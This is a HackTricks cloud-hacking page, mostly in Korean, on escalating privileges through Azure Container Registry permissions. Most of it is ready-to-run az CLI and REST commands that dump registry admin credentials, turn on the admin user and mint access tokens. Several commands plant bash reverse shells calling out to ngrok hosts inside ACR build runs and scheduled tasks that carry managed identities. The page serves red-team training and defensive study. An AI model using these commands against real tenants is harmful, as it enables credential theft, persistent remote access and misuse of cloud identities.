Az - Azure Container Registry Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure Container Registry
자세한 정보는 다음을 확인하세요:
Microsoft.ContainerRegistry/registries/listCredentials/action
이 권한은 사용자가 ACR의 관리자 자격 증명을 나열할 수 있도록 허용합니다. 이는 레지스트리에 전체 액세스를 얻는 데 유용합니다.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
관리자 자격 증명이 활성화되지 않은 경우, 다음을 사용하여 이를 활성화하려면 Microsoft.ContainerRegistry/registries/write
권한도 필요합니다:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
이 권한은 사용자가 레지스트리에 접근할 수 있는 비밀번호가 포함된 새 토큰을 생성할 수 있도록 허용합니다.
다음 예와 같이 az cli
를 사용하여 생성하려면 Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
권한도 필요합니다.
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
이 권한은 사용자가 레지스트리에서 이미지를 빌드하고 실행할 수 있도록 허용합니다. 이는 컨테이너에서 코드를 실행하는 데 사용될 수 있습니다.
[!WARNING] 그러나 이미지는 샌드박스 환경에서 실행되며 메타데이터 서비스에 접근할 수 없습니다. 이는 컨테이너가 인스턴스 메타데이터에 접근할 수 없음을 의미하므로, 이는 실제로 권한 상승에 유용하지 않습니다.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
이것은 레지스트리에서 작업을 생성하고 업데이트할 수 있는 주요 권한입니다. 이는 관리되는 ID가 연결된 컨테이너 내에서 코드를 실행하는 데 사용될 수 있습니다.
다음은 시스템 관리 ID가 연결된 컨테이너에서 리버스 쉘을 실행하는 방법의 예입니다:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
작업에서 외부 리포지토리를 사용하지 않고 RCE를 얻는 또 다른 방법은 az acr task create
명령을 --cmd
플래그와 함께 사용하는 것입니다. 이렇게 하면 컨테이너에서 명령을 실행할 수 있습니다. 예를 들어, 다음 명령으로 리버스 셸을 실행할 수 있습니다:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
시스템 관리 ID를 할당하는 데 특별한 권한이 필요하지 않지만, 레지스트리에서 미리 활성화되고 유용하게 사용될 수 있도록 일부 권한이 할당되어 있어야 합니다.
사용자 관리 ID를 할당하려면 Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
권한이 필요합니다:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
기존 작업의 리포를 업데이트하려면 다음을 수행할 수 있습니다:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
이 권한을 사용하면 로컬에 이미지가 없어도 azure 레지스트리에 이미지를 가져올 수 있습니다. 그러나 레지스트리에 이미 존재하는 태그가 있는 이미지는 가져올 수 없습니다.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
특정 이미지 태그를 레지스트리에서 태그 제거 또는 삭제하려면 다음 명령어를 사용할 수 있습니다. 그러나 이를 수행하려면 충분한 권한이 있는 사용자 또는 토큰이 필요합니다:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.